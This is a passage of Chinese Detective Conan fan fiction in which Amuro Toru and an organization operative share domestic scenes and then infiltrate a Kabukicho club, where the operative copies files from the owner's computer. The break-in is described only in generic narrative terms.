安慰?他们还没熟到那个程度。追问?那是别人的私事,安室透似乎没打算继续分享。沉默?好像也不太好。 他想了想,决定说点别的。 “其实我做饭的手艺,有一部分是跟别人学的。” 安室透偏过头,看向他。 “苏格兰。”羽泽熙真说,“他做饭比我好吃多了。” “真的?”安室透有点惊讶。 “真的。”羽泽熙真说,“同样的材料,同样的步骤,他做出来就是不一样。” 安室透静静地听着。 “可能是因为他比较有耐心吧。我做饭都是随便弄弄,熟了就行。他是真的会研究——放多少调料,炒多久,什么时候出锅。做出来的东西确实会更好吃。” “苏格兰……就是你今天问琴酒的那个?” “嗯。” “你在担心他。”安室透说。 “……” 羽泽熙真沉默了。 苏格兰最近有事。前辈是这么说的。 这几个字在组织里可以有很多种意思——在养伤,在出任务,在处理麻烦,或者……更糟的。 他没有问。组织里有些事不能问,问就是不懂规矩。但他确实想过,想了很多次。 “谁知道呢。”羽泽熙真轻声说,“希望他能平安回来吧。” 他们就这样又坐了一会儿。 不知道过了多久,羽泽熙真打了个哈欠。 公园里真的很安静,除了他们俩,连只野猫都没有。 他从口袋里摸出一包烟,抽出一根叼在嘴里,又摸出打火机。 “你抽吗?”他扭头问安室透。 安室透摇了摇头。 “我不会。” 羽泽熙真站起身,准备往旁边走几步——找个远一点的地方抽,免得烟味呛到旁边的人。 “没事。”

安室透的声音从身后传来。 “不用走那么远。”他说,“你抽吧。” 羽泽熙真回过头。 安室透还坐在那里,姿势和刚才一样,两条腿随意地伸着,后背靠着椅背。但那双紫灰色的眼睛正看着他,在路灯下显得很平静。 “你不是不会吗?呛到怎么办。” “没你想的那么娇气。”安室透轻轻笑了笑,拍了拍旁边的椅面,“坐吧。” 羽泽熙真耸了耸肩,坐回长椅上。 打火机的火光亮了一下,然后熄灭。灰白色的烟雾在夜色里散开,飘向空中,被夜风吹散。 “我好像没见过你抽烟。”安室透说。 “嗯。”羽泽熙真手指夹着烟,搭在膝盖上,“我没什么烟瘾,偶尔抽一根而已。一般在露台上。” “露台?” “就是咱们俩房间外面的那个。你去看过吗?” 安室透点了点头。 “看过。” 搬进来的第一天晚上,他就去过了。那里只有两把藤椅和一张小圆桌,桌上放着一个烟灰缸。旁边是另一扇门——清酒房间的露台门,还有窗帘后面隐约透出的灯光。 “好看吗?” “……还不错。” “那里挺舒服的。”羽泽熙真说,“晚上坐在那儿,吹吹风,看看夜景。有时候能看见星星,有时候什么都看不见。” “你的事处理完了吗?”他突然想起来,问道。 安室透沉默了一下。 “处理完了。”他说。 羽泽熙真“嗯”了一声,没有再问。 烟头在黑暗里忽明忽暗。 安室透移开了视线。 ——处理完了吗? 算是吧。 真正的正事确实做完了。但做完汇报被上司劈头盖脸骂了一顿,大概不能算是什么正事。 “……你知道那是什么人吗?” 电话那头的声音低沉而严厉,黑田兵卫——公安部的管理官,他的直属上司——此刻正用那种让人后背发凉的语气,一字一句地敲打着他。 “你知道他那个人有多危险吗?你知道他经手的任务沾了多少人命吗?!” “知道。”降谷零说。 “知道你还——”黑田兵卫顿了顿,似乎在压制自己的情绪,“降谷,这个决定太激进了。” “朗姆安排你住过去,你就真的住过去了?你有没有想过,这可能是一个陷阱?” “我想过。” 降谷零的声音依旧很平静。 “我想过所有可能。陷阱,试探,圈套,考验。我都想过。” “但这是机会。”他说,“朗姆亲自安排的眼线位置,错过就不会再有。清酒是琴酒最信任的几个人之一,住进他家意味着我可以接触到行动组的核心运作,可以拿到情报组永远拿不到的信息,可以——” “可以死在那里。”黑田兵卫打断了他。 降谷零沉默了一瞬。 “我会注意安全。” “注意安全?”黑田兵卫似乎叹了口气,“你在组织里潜伏了这么久,难道不知道‘注意安全’这四个字有多可笑?一个破绽,一次失误,一句说错的话——你就没命了。连收尸的机会都不会有。” 降谷零没有反驳。 他知道黑田说的是真的。有太多前车之鉴了。 “降谷。” “是。” “我知道你有能力,也不缺少判断力。” 黑田的声音缓了下来,不再那么冷厉,但多了一种更深沉的东西——是疲惫,还是担忧?降谷零分辨不出来。 “但你有时候太相信自己的判断了。激进,冒险,不给自己留后路。” 他顿了顿。 “这一次,我希望你能活着回来。你再好好想想吧。” 电话挂断了。 “嘟——嘟——嘟——” 那单调的声音在耳边响了很久,降谷零才把手机放下。 他抿了抿唇。 想什么? 在公众的利益面前,没有什么是他不能赌上去的。 ——包括他自己。 8. 朱雀(3)话很多的室友 六点整,一辆小货车准时出现在了公寓楼下。 羽泽熙真靠在单元门边的墙上,看着那辆车从街道尽头缓缓驶来。 车子在台阶下熄了火。车门打开,两个男人一左一右从车上走了下来。他们穿着深蓝色的工装,袖口挽到小臂,露出结实的小麦色皮肤。 两人走到车后,合力打开车厢门,从里面抬出一只巨大的纸箱,走到了羽泽熙真面前。 箱子被放下后,两张木讷的脸抬了起来。 一个四十多岁,一个三十多岁。面容平静,皮肤有些粗糙,他们的手上能看到细小的疤痕和茧子,那是常年做工留下的痕迹。 更年长的那个朝羽泽熙真比了几个手势。 【装在哪里?】 是手语。他们是聋哑人,两个都是。羽泽熙真之前就知道。 他也抬起手,手指灵活地翻动。 【顶楼。】 年长的那人点了点头,弯下腰再次抬起了那只纸箱。另一个跟着他一起用力,两人抬着箱子一步一步往公寓楼里走。 羽泽熙真走在他们前面,带着他们从电梯上到了这栋楼的顶层。 这个时间,安室透也已经起了。这会儿他正半靠在沙发里,偏头看着电视。 他的姿势很放松,一条腿搭在另一条腿上,手肘撑在沙发扶手上,托着下巴。 电视里正在放今天的晨间新闻——一个穿着职业装的女主播正播报着某地的天气情况。 看到他们进门,安室透坐直了些,转过头。 “这么快就来了……” 他的目光越过羽泽熙真,落在他身后那两个抬着巨大纸箱的男人身上。 那两个人面无表情,沉默地跟在羽泽熙真后面,像是两道移动的影子。 “你们好。”安室透说。 两个男人对他的问候没什么反应,他们甚至没有看他一眼,只是静静地抬着箱子,顺着羽泽熙真的指引路过他,走向阳台的方向。 安室透愣了一下。 “他们听不到的。”羽泽熙真摇了摇头,“你不用管。无聊的话……就先去厨房备菜吧?” 安室透若有所思地望了一眼两个已经放下了箱子的男人,然后又看向羽泽熙真。 “我们早上吃什么?”他问。 “嗯……” 羽泽熙真捏着下巴想了想。 这个问题真的很难。 今天吃什么,明天吃什么,后天吃什么——无穷无尽的问题,他有时候会觉得,这比组织里的任务还让人头疼。 任务至少有个明确的目标,有个可以遵循的流程,可吃饭这件事,每一天都要重新决定。 脑袋里空空的,凌晨出去了一趟,回来也没怎么睡,现在他整个人都还有点恍惚。 最终,他放弃了思考。 “当然还是要看安室君的意思嘛,”他笑起来,“您想吃什么,自己去拿出来就好。我一会儿去做。” 安室透的嘴角抽了抽。 可能是想吐槽什么又觉得说了也没用,他张了张嘴,最后还是把话咽了回去。 “……行。” 他从沙发上站起来,朝厨房走去。 羽泽熙真收回视线,走到阳台的玻璃推拉门前,身子一歪,靠在了门边。 年长的那人从口袋里掏出一把美工刀,熟练地划开纸箱封口的胶带。 两人合力把洗衣机从纸箱里抬出来,放在阳台上事先清理好的位置。 那位置是羽泽熙真昨天腾出来的,原来堆着一些杂物,被他收进了储物间,现在空空荡荡,只有一截水管接口和电源插座。 箱子里还放着一些小册子和配件袋,被他们拿出来,整齐地放在一旁的角落里。 羽泽熙真走过去,从那堆小册子里挑出了说明书。 上面的图示很清晰。进水口接哪里,排水管怎么走,电源需要什么规格,每一步都写得通俗易懂,旁边还有注意事项的小字。 要装好它并不难。这种事羽泽熙真做过很多次,他自己装过电视,装过冰箱,装过各种需要动手的东西。 他并不介意自己来安装这台洗衣机,甚至说还挺想上手试试的。 不过…… 他抬起头,看向厨房的方向,安室透正弯着腰,在冰箱下层翻找着什么。这个角度只能看见他的后背和那个金色的后脑勺,偶尔动弹一下。 一会儿还要去做早饭。 算了,反正人已经来了。 他蹲下去,拍了拍年长那人的肩膀。 那人转过头,安静地看着他。 【进水口在那里。】他指向阳台角落的水管接口,【排水管走这边,电源在那边。】 他一边比划,一边用另一只手指着相应的位置。年长的那人顺着他的手指看过去,一个一个确认,然后朝他比了个拇指。 【好。】 那人又指了指洗衣机,比了几个手势。动作很快,但羽泽熙真看懂了——意思是他们先做准备工作,检查好配件再开始安装。 羽泽熙真点了点头,站起身离开了阳台。 客厅里的电视还开着,但声音被调小了,隐隐约约能听到女主播说着最近的什么事故。 安室透正站在厨房的岛台前,面前摆了一些食材,都还是原样,连超市的包装都没拆。 好吧,其实也不能指望他这短短几分钟就把菜备好,能把东西从冰箱里拿出来就已经很棒了。 “选好了?”羽泽熙真凑过去看他拿的那些东西。 鸡蛋,冻三文鱼,还有昨天剩下的半捆菠菜和半盒豆腐。 “嗯。”安室透把菠菜放进水槽里,“厚蛋烧,煎鱼,菠菜豆腐汤——可以吗?” “可以。” 确实不错,有荤有素,营养搭配全面,还能顺便处理一下没用完的菜。只是作为早饭来说的话…… 会不会有点太丰盛了? 羽泽熙真在心里想了想,没有说出口。大不了中午少吃点。 他走到水槽边,轻轻推开似乎想洗菜的安室透。安室透被推得往旁边让了让,有点懵地看着他。 “我来吧。”羽泽熙真说。 安室透乖巧地往后退了几步,把操作空间让了出来。 羽泽熙真拿起那捆菠菜,拆开保鲜膜,把根部切掉一点,然后打开水龙头,一片一片地清洗叶片。 冰凉的水流冲过手指,带走了一夜的疲惫,也带走了菜叶上的浮尘。 “清酒。那两个师傅……” “嗯?” “是你找的?” 羽泽熙真关上水龙头,甩了甩手上的水,拿起一旁的毛巾擦干。 “算是吧。一个朋友帮忙找的。” “朋友?” “嗯。”羽泽熙真把毛巾放回原位,扭头朝安室透笑了笑,“放心,很靠谱的。” 他把洗好的菠菜放在案板上。刀起刀落,菠菜被一点点切成均匀的小段。 “清酒。” 羽泽熙真“嗯”了一声,把切好的菜拨到一边,然后拿起那盒豆腐。 他撕开包装上的保鲜膜,把豆腐倒扣在案板上,切成整齐的小方块。 “你学过手语?”安室透问。 “显而易见。” 羽泽熙真把切好的豆腐也拨到一边。白色的方块和绿色的菠菜段并排放在一起,颜色对比很鲜明。 “是跟谁学的?”安室透跟在他身后,看着他转身去拿碗,又跟着转回来,“原来组织里还有这种课程啊。” 羽泽熙真拿起冻得硬邦邦的三文鱼,拆开包装放到碗里,然后把它塞进微波炉里解冻。 微波炉发出了嗡嗡的运作声,盖住了电视机若有若无的背景音。 “如果你感兴趣的话,我也可以教你。” 羽泽熙真双手撑在身后,靠坐在了岛台上,面朝着安室透:“想学吗?” 安室透摇了摇头。 “不用了,我也学过。”他说,“不过,如果你们 有平时会用到的战术手势,我可以学一下。” “嗯,这个确实有。那就……”羽泽熙真想了想,“解决好‘朱雀’的事之后,我找个机会和你讲吧。” “好的。” 微波炉“叮”地响了一声。 羽泽熙真起身去拿。碗里的鱼已经不那么硬了,边缘的地方开始变软,用手按一下能感觉到弹性。 他把碗端出来,放在岛台上。 “清酒……” 又来了。羽泽熙真心里叹了口气,这人今天话怎么这么多。 “怎么了?”他扭头看着安室透。 “你……” 安室透愣了愣,似乎突然从他的表情意识到了什么,轻轻干咳了一下。 “抱歉,问太多了。”他笑着举起双手,做了个投降的姿势,“不过我刚刚是想问——你需不需要帮忙?” 帮忙啊。 羽泽熙真看了看案板上的菜。菠菜切好了,豆腐切好了,三文鱼解冻了。接下来需要做的是打蛋、煎鱼、煮汤。 打蛋……安室透应该会吧?打蛋不就是把蛋磕开搅匀吗?这个还能不会? 但万一呢。 说不定接下来安室透就会问出诸如“蛋要打多久”“搅到什么程度算匀”“加多少盐”之类的问题。 煮汤就更复杂了。水放多少,火开多大,什么时候放豆腐,什么时候放菠菜——每一个步骤都可以问出十个问题。 那,蒸个米饭? 羽泽熙真想起了安室透对于自己厨艺的评价:“偶尔能把饭煮熟”。 偶尔。这个描述很微妙。 呃,还是算了。 “……您找个地方坐着就好,”羽泽熙真微笑,“最好再去电视里看看今天会不会下雨。天气好的话,今晚就可以去会所踩点。” 安室透眨了眨眼。 “那天气不好呢?” “也去。” “……” 安室透很识相地离开了。 没有人在旁边晃荡,羽泽熙真感觉自己做饭的效率大大提升了。 他可以先把大米放进电饭煲里蒸上,然后一边打蛋,一边把水接好放在灶上烧着,再顺便开始加热平底锅里的油。 油烟机运作着,抽走渐渐漫开的油烟味道。他又等了一会儿。 油热了。 他拿起装着蛋液的碗,倒了一部分进锅里。 蛋液在锅底迅速凝固,边缘开始起泡。他抬起锅,让未凝固的蛋液流到边缘,均匀受热,然后用筷子一层一层慢慢卷起来。 厚蛋烧的做法有很多种。有人喜欢甜的,有人喜欢咸的,而羽泽熙属于中间那种。意思就是,他什么口味都可以吃。 他把卷好的蛋卷推到一边,再倒一层蛋液。 重复的动作,重复的节奏。 做这种事的时候,他不用思考,手自己就知道该怎么做。脑子里可以想别的事——比如今晚的计划,比如神谷诚的笑脸,比如琴酒的话—— “苏格兰最近有事。” 他握着筷子的手顿了一下,捏紧,又松开。 蛋液在锅里凝固,被卷起来,推到一边。 他想起苏格兰做的厚蛋烧。那家伙做的时候会加一点出汁,味道更鲜,口感更嫩。他试过几次,但总是做不出那个味道。 不是出汁的问题,是火候的问题。苏格兰说。你太急了。 太急了吗? 羽泽熙真看着锅里金黄色的蛋卷,轻轻叹了口气。 最后一道蛋液倒进去,卷好,出锅。 他把做好的厚蛋烧切成小块,整齐地码在盘子里。切面金黄,层次分明,看起来卖相不错。 “清酒。”安室透的声音远远从客厅传来。 羽泽熙真转过身。那两个男人已经把洗衣机安装好了,站在客厅朝他比了个【再见】的手势。 他回应了一个相同的手势,看着安室透把他们送出了门。 ……先把汤煮上吧。 9. 朱雀(4)安室——呃,白井先生? 天气预报说傍晚有雨,现在才三点多,天就已经开始暗下来了。 羽泽熙真从衣柜里翻出一件宽松的休闲西装,套在身上。里面是黑色的衬衫,没有领带,领口敞着一颗扣子,露出脖颈上那根细细的绳子。 头发被他随手拨弄了几下,看起来比平时稍微整齐一点,但也没整齐到哪里去。 可以了,他想。最好扔到人群里也不会被任何人多看一眼。 他检查好随身带的东西,一一妥善放在熟悉的位置,随后走出卧室。 安室透正站在玄关的穿衣镜前整理领带。 他也换了一身西装,比羽泽熙真那件更正式一些,领带打得一丝不苟,金色的头发也仔细打理过了。 “怎么样?”安室透从镜子里看向他。 羽泽熙真走到他旁边,上下打量了一番。 西装剪裁合身,衬得他肩宽腰窄,那双紫灰色的眼睛此刻带着点笑意,看起来沉稳又精明,就像一个年轻有为的商人。 “不错。”羽泽熙真说,“像个正经人。” “只是‘像’?”安室透笑了笑,转过身来,“那你呢?准备好了吗?” 羽泽熙真张开手臂,让他看。 安室透的目光在他身上停留了几秒。从外套到衬衫,从裤子到鞋子,最后落在他敞开的领口。 “可以。”安室透点了点头,“身份记住了吗?” “三井物产的白井信一郎先生。” 羽泽熙真张嘴就来,背书似得:“做进出口贸易的,主要业务是东南亚的工艺品。最近想拓展娱乐产业的业务,所以来‘朱雀’考察。我是他的助理,姓佐藤,负责记录和安排行程。” 安室透微微挑眉:“记性不错。” “还行。”羽泽熙真把手伸进口袋里,摸到了一个提前准备好的U盘。 “不过,你确定要这样?我只负责跟着,偶尔记点东西,必要的时候配合你。你的压力可能会很大哦。” “交给我就好。”安室透笑道。 他拿起放在柜子上的公文包,在手里掂了掂。 “那家公司确实存在,也确实有来歌舞伎町谈生意的计划。我只是让他们把计划提前了一点。” “行。” 羽泽熙真点了点头。 他能隐隐猜到安室透的心思——不太信任他这方面的能力,所以干脆自己上。毕竟他是行动组的人,擅长的是潜入、暗杀、清理痕迹,而不是坐在包间里和人喝茶聊天、谈笑风生。 不过安室透是情报专家,这种场合对他来说应该驾轻就熟,倒是也不用太担心。 他上前几步,替安室透拉开房门。 “那我们走吧。白井老板。” —— “朱雀”在歌舞伎町最繁华的那条街上。 羽泽熙真没怎么来过这边,但并不妨碍他想象出这里热闹时的模样。好在现在还是下午,天又阴着,街上的人不算多。 “朱雀”是一栋五层的建筑,外墙是深红色的,镶嵌着金色的装饰线条。门楣上挂着一块匾,写着“朱雀”两个大字,字体苍劲有力,像是出自什么名家之手。 门口站着两个穿黑色西装的年轻男人,背脊挺直,双手交叠在身前。他们面容冷峻,目光警惕。 安室透把车停在了附近的停车场,步行走过来。 羽泽熙真跟在他身后,保持半步的距离,目光低垂着,看着脚前的地面。 走到门口的时候,有人拦住了他们。 “下午好,两位先生。”接待员朝他们微微欠身,“请问有预约吗?” 安室透从口袋里抽出一张名片,递了过去。 那人接过,读完上面的信息,又抬起头对照着安室透的脸。 “您是……三井物产的白井先生?” “是的。”安室透微笑着,“今天约了神谷先生谈点事情。” 那人点了点头,把名片双手递还给他。 “白井先生,欢迎光临。”他侧身让开,做了一个请进的手势,“神谷先生在四楼的包间等您。” 会所里面比外面看起来更奢华。 一楼是个大厅,装修得很讲究。金色的壁灯,墙上挂着几幅浮世绘风格的画作,暗红色的地毯踩上去软绵绵的,没有一点声音。 靠墙摆着几张矮桌和茶几,有几个穿着讲究的男女坐在那里,手里端着酒杯,低声交谈着什么。 一个穿着深色西装的年轻人走过来,朝他们鞠躬。 “白井先生,请跟我来。” 他走在前面,带着他们穿过大厅,走上楼梯。 二楼和三楼都是包间,门关着,听不见里面的声音。偶尔有服务员端着托盘走过,托盘上是精致的酒水和点心。他们经过的时候会侧身让开,微微低头,然后继续往前走。 四楼更安静。 走廊很长,铺着深红色的地毯,两边是一扇扇紧闭的门。头顶的灯光比下面暗一些,是一种暧昧的暖黄色,让人看不清太远的地方。 带路的年轻人在一扇门前停下,抬手轻轻敲响。 “进来。” 门内传来一个中年男人的声音。 年轻人拉开门,侧身让开。羽泽熙真跟着安室透走了进去。 包间不大,但布置得很精致。 榻榻米地面,矮桌,坐垫。墙上挂着一幅书法,写的是“一期一会”。靠窗的位置摆着一盆造型优雅的松树盆栽,叶片翠绿。 矮桌上摆着几个精致的瓷器——正冒着热气的茶壶,茶杯,几个小碟子,里面放着几块点心。 桌前坐着一个穿着深色和服的男人。 ——神谷诚。 他比照片上看起来更有压迫感。那种压迫感并不是来自于身材,他其实不算高大,中等个头,肩膀也不宽,坐在那里甚至显得有些单薄。 但那双眼睛,那双细长的眼睛,像是能把人的皮扒开一层,直接看到里面去。 “白井先生,”他微微颔首,抬手示意两人坐下,“欢迎欢迎。请坐。” “神谷社长,打扰了。” 安室透微微欠身,然后在神谷诚对面坐了下去。 “哪里哪里。” 神谷诚的目光在还站着的羽泽熙真身上停留了一瞬。 “这位是……” “我的助理,佐藤。”安室透说,语气很随意,“负责帮我记录一些事情。神谷先生不介意吧?” “当然不介意。”神谷诚笑着摆了摆手,“请坐,佐藤先生,不用站着。” 羽泽熙真看了安室透一眼,安室透微微点了点头。 于是羽泽熙真坐在了他的身侧。 他垂下眼帘,把安室透带来的公文包放在膝盖上,从里面取出一个小本子和一支笔。 安室透说这样看起来更像个助理,顺便给他找点事干。 “白井先生想喝点什么?” 神谷诚问。他拿起桌上的茶壶,给自己倒了一杯。茶水的热气从杯口升起,淡淡的清香在空气中慢慢散开。 “我们这里有不错的茶,也有酒。如果白井先生想喝点别的,我可以让人去准备。” “不用麻烦。”安室透笑着说,“茶就很好。” 神谷诚点了点头,也给两人各倒了一杯茶。 “白井先生是做进出口贸易的?” “是的。”安室透端起茶杯,捧在手里,“我们公司一直做进出口贸易,东南亚的工艺品。最近想拓展一下业务范围,听说神谷社长的‘朱雀’是这一带最有名气的,所以想来取取经。” 神谷笑了笑。那笑容和照片里没什么区别,但眼睛里没有笑意。 “白井先生客气了。我们只是做点小生意,哪有什么经可取。” “神谷社长太谦虚了。”安室透也笑了笑,“我听朋友说,您这里不仅服务好,管理也很有章法。很多有头有脸的人物都愿意来您这儿坐坐。能把这些人都聚在一起,可不是一般人能做到的。” “哈哈,朋友抬爱罢了。” 神谷诚摆了摆手,但脸上的表情明显松动了一些。 他端起茶杯,喝了一口,然后放下。 “不过,如果白井先生想了解这个行业,我倒是可以介绍几个朋友给您认识。都是这一行的老人,经验丰富,人脉也广。” “那真是太感谢了。” 他们开始聊起来。 生意,市场,最近的行情,未来的趋势。安室透说得头头是道,那些专业术语从他嘴里蹦出来,流畅得像是他本来就做这行。神谷诚偶尔问几个问题,安室透都能答得上来。 羽泽熙真坐在旁边,低着头,用笔在纸上划拉着。 他写得很认真,不时翻过一页。偶尔他会抬起头,看一眼窗外的天色,看一眼说话的人,然后继续低头写。 天越来越暗了。 他的确写了字,但如果有人现在拿过那本子看,大概会惊讶地发现——这人正在走着神规划本周以及下周的饮食菜单。 不知不觉,过去了一个多小时。 茶喝了几杯,话题也从生意聊到了别的什么。 神谷诚似乎对安室透越来越感兴趣,话也越来越多。他开始讲起自己年轻时候的事,怎么从一个小混混做起,怎么一步一步有了今天的成就。 安室透听得很认真,时不时问一两个问题,或是露出恰到好处的惊讶或钦佩,让神谷诚继续说下去。 榻榻米坐久了还是不舒服,羽泽熙真坐得有点身子发麻。他轻轻动了动腿,换了个姿势,从跪坐变成盘腿,又从盘腿变回跪坐。 就在这时,门被敲响了。 一个穿着黑色西装的男人走进来,快步走到神谷诚身边,俯下身,在他耳边低声说了几句话。 神谷诚的表情变了。 他的眉头轻轻皱了一下,嘴角的弧度往下压了压,但很快又恢复了那副笑容。 “白井先生,”他站起身,“不好意思,有点急事需要处理一下。您先坐着,我很快回来。” “神谷先生请便。”安室透点了点头。 神谷诚快步走了出去。那个黑衣男人跟在他身后,轻轻关上了门。 包间里安静下来。 松树盆栽静静地立在窗边,叶片一动不动。茶壶里的茶已经凉了,不再冒热气。 羽泽熙真抬起头,看向安室透。 安室透也看着他。 两人的目光在空中交汇了一瞬。 “他的电脑可能在办公室。”羽泽熙真压低声音,“五楼……” “五楼东侧,走廊尽头那一间。” 安室透微微皱眉:“你想现在就去?他随时可能回来。” “所以得快。” 羽泽熙真把手里的本子往安室透怀里一塞,站起身走到门边,耳朵贴在门上听了听。 走廊里很安静,只有远处偶尔传来的脚步声,但很快就消失了。 他看向安室透。 “你在这待着。”他说,“万一他回来,就说我去洗手间了。” 安室透眉头皱得更紧了。 “你确定?” “确定。” 羽泽熙真的手已经搭上了门把手。 “要是有什么事——”他顿了顿,回过头,“你跑就行了。” 安室透愣了一下。 “……什么?” “我说,”羽泽熙真看着他,淡淡重复,“如果有情况,你不用管我。跑就行了。记得把自己撇干净点。” 安室透张了张嘴,想说什么。 但羽泽熙真没有等他。他拉开门,闪身出去,关上了门。 10. 朱雀(5)探访社长室 羽泽熙真在包间门口神色自若地张望了一番,很快找到了挂在墙上的指引牌。 他看了看上面的标识,抬步往四楼卫生间的方向的走去。 原本,他们的计划是先从神谷诚入手,一步一步深入调查。在“白井”这个身份被发现异常之前,最好能亲自接触到那些可能存在的交易,再伺机动手。 但现在可能不太需要了。 他们现在在会所里,没有人注意到他们。 情报大概率就在神谷诚的办公室,只需要绕开几个监控,走过去,找到它们,带走它们——多简单,多好的机会,不是吗? 他走进卫生间,确认每个隔间都没有人,然后走到最里面那一间,关上门,脱下了身上的外套。 那件宽松的休闲西装被他翻了个面重新穿上。里面是截然不同的颜色,当然也是提前准备好的。 他戴上手套,又从口袋里摸出一顶黑色的薄帽,扣在头上。 压低的帽檐遮住了他的大半张脸。 员工通道是比外面的楼梯更好的选择,既靠近办公室,又不引人注意。 羽泽熙真避开监控,顺着通道上到了五楼。 这里的格局和下面的楼层不太一样,走廊更窄,灯光更暗,房间上挂着小小的牌子,写着各种名字:财务部,人事部,会议室…… 而走廊尽头那扇门,正是他的目标。 社长室。 羽泽熙真在门前停下,轻轻一拧门把手——不出所料,是锁着的。 他从口袋里摸出一根细长的金属条,插进锁孔里,手腕轻轻转动,感受着锁芯内部细微的阻力。 几秒后,“咔嗒”一声。 门开了。 他推门进去,反手把门带上。 神谷诚的办公室倒是比想象中简单一些。 没有那些花哨的装饰,没有昂贵的摆设。一个文件柜和沙发立在墙边,靠窗的位置放着办公桌椅,桌上摆着一台电脑。 更重要的是——羽泽熙真扫了一眼天花板,又看了看墙角,这里甚至没有监控。 神谷诚大概经常会在这里谈些不想让别人知道的事。这种地方,装监控反而是给自己找麻烦。 他快步走到办公桌前,打开电脑。 屏幕很快亮起来,显示需要输入密码才能进入系统。 羽泽熙真从口袋里摸出U盘,插进电脑的USB接口。U盘里有一个小程序,是组织里搞技术的人做的,可以绕过大部分常见的密码系统,也可以在需要的时候快速拷贝数据。 程序自动运行。屏幕上的光标闪了几下,然后跳出一个黑色的对话框,上面显示着一行行代码。那些代码滚动得很快,他看不懂,也不需要看懂。 几秒后,对话框消失,取而代之的是一个进度条。 30%。50%。80%。 忽然,轻微的脚步声从门外传来。 羽泽熙真的手指顿了一下。他竖起耳朵,仔细分辨声音的方向。脚步声越来越近,越来越清晰——有人在往这边走。 100%。 脚步声在门外停住了,与此同时,系统界面跳了出来。 羽泽熙真此时没心思去看界面上有什么,他抬头盯着门板,那个人就站在门外,隔着一层木板,近得几乎能听见呼吸声。 “叩、叩、叩。” 敲门声。 “神谷先生?” 是一个年轻男人的声音,带着一点紧张。大概是有什么事要汇报,又怕打扰到老板。 沉默。 当然没有人回应他。 那人又敲了敲。 “神谷先生?您在吗?” 羽泽熙真慢慢蹲下身,把自己藏进办公桌的阴影里。他的手还搭在鼠标上,手指轻轻一动,打开了文件复制程序。 门外安静了几秒。 然后脚步声再次响起——这次是离开的方向,越来越远,越来越轻,最后消失了。 羽泽熙真等了几秒,确认没有动静,重新站起来,看向打开的屏幕。 电脑里的文件很多,分门别类地放在不同的文件夹里。财务报表,客户名单,交易记录……太多了,一个个看根本来不及。 他快速浏览着,把那些看起来有用的文件夹全部勾选,拖进U盘的复制列表里。 10%。20%。30%。 他一边等,一边继续翻看着那些文件。有些是普通的商业文件,有些是不太对劲的东西,还有一些没有标题的加密文件。 60%。70%。80%。 羽泽熙真忽然皱了皱眉。 ……又有人来了。 这次至少两个人——脚步声一重一轻,走得很快。 95%。98%。99%。 他们到门口了。 羽泽熙真紧紧盯着屏幕上的进度条。 100%。 他一把拔下U盘,塞进口袋里,同时另一只手按下电源键,强制关机。屏幕瞬间黑了下去,主机箱的风扇声也停了。 门锁传来转动的声音。 他来不及从正门走了,索性退后两步,伸手掀开窗帘。 窗户没有锁,他推开窗户往下看。 窗外有一条窄窄的台阶,大概二十厘米宽,勉强能站人。下面是五层楼高的悬空,再往下是会所后面的小巷,黑漆漆的,看不清有多高。 门把手在转动。 他把窗户推开到刚好能钻出去的宽度,然后翻出窗外。 那台阶太窄了,只有半个脚掌能踩住。他双手扶着窗框,轻轻把窗户推回原位,只留下一指宽的缝隙。窗帘垂下,遮住了他留下的唯一痕迹。 他贴着墙,一动不动。 “……拿到了没有?” 有声音从房间里面传出来,隔着玻璃有点模糊,但能听清。 是神谷诚的声音。 “还没有,社长。”另一个声音年轻一些,“那批货的买家说是资金周转有问题,要推迟付款。” 很耳熟,刚刚在外面敲门的应该就是他。 “推迟?”神谷诚冷笑了一声,“他以为这是什么地方?菜市场吗?” “我……我已经让人去催了。” “催有什么用?” 神谷诚的声音逼近了几步。大概是在房间里走动,从门口走向办公桌,或者走向窗边。 “告诉他,三天之内钱不到账,那批货就别想要了。顺便让他知道,不付款的后果是什么。” “是,是,我知道了。” 安静了几秒。 然后神谷诚的声音又响起来,这次刻意压低了一些: “那个姓白井的商人……你们查过了吗?” 羽泽熙真眸光微敛。 这个倒是值得一听。 “查过了。”年轻人说,“三井物产确实有这个人,确实是做进出口贸易的。 背景干净,没有什么问题。” “嗯。” 神谷诚似乎满意了一点。 “不过……”年轻人犹豫了一下,“他那个助理,我们没查到什么信息。姓佐藤,但具体叫什么,从哪里来的,履历是什么,都查不到。” 羽泽熙真在窗外轻轻勾起嘴角。 查得到才怪。那个身份是临时的,名字是编的,履历是编的,一切都是编的。 “……”神谷诚沉默了一会儿,“算了,先不管他。把眼下的事处理好。” “是。” 脚步声往门口移动。 “还有。” 神谷诚忽然停下。 “今天晚上的交易,提前盯紧点。买主是那边的人,不能出任何差错。” “是。” 门开了,又关上。 神谷诚走了。 而羽泽熙真现在的问题是,怎么回去。 他低头看了一眼脚下的台阶。 二十厘米宽,勉强能站住脚,但四周没有任何可以抓握的地方。带着湿意的风吹过来,吹得他的衣角轻轻晃动。 或许直接跳下去会比较快——非必要情况下,他大概不会这么做的。他需要回到四楼的卫生间,那个他换衣服的隔间。 他深吸一口气,开始慢慢往西挪。 五层楼的高度,下面是黑漆漆的巷子,摔下去不会有什么好结果。 走了大概三米,他找到了四楼厕所的窗户,就在他的侧下方。窗户没有完全关严,留着一道小小的缝隙。他行动前顺手打开的。 他压低重心,缓缓调整角度,接着—— 纵身一跃。 他的一只手抓住了窗框,身子在半空中晃了晃,随即发力踩着墙壁从窗户翻了进去。 好在四楼的人本就很少,卫生间里这会儿没有其他人。 羽泽熙真走到洗手台前,对着镜子把外套脱下来,翻回原来的那面重新穿上。帽子和手套都摘掉,塞进口袋。 镜子里的他,又变回了那个不起眼的助理佐藤。 他洗了洗手,扯了一张纸巾擦干,走出卫生间,往包间的方向走去。 不知道神谷诚回去了没有,他想,要是迎面撞上的话,可能会有点尴尬。 走到包间门口,他抬手敲了敲门。 来开门的是安室透。他上下打量了一番站在门外的羽泽熙真,微微松了口气。 “怎么这么久?”他有点不满地轻声说,“神谷先生已经回来了,等了你好一会儿。” 说着,他伸手轻轻抚平了羽泽熙真翘起一边的衣领,又在他被压乱的头发上拨了两下。 “抱歉,老板。”羽泽熙真低着头,“刚刚稍微有点不舒服。” 安室透没再说什么,侧身示意他进去。 包间里,神谷诚已经坐在原来的位置上了。他端着茶杯,看着他们走进来,笑容一如既往地挂在脸上。 “佐藤先生回来了?”他说,“差点以为您迷路了呢,刚刚我还在和白井先生说,要不要派个人去找找您。” “非常抱歉,让您久等了。”羽泽熙真连忙朝他鞠躬。 “没事没事。”神谷诚摆了摆手,“来,坐下喝茶吧。茶刚换了一壶,还热着。” 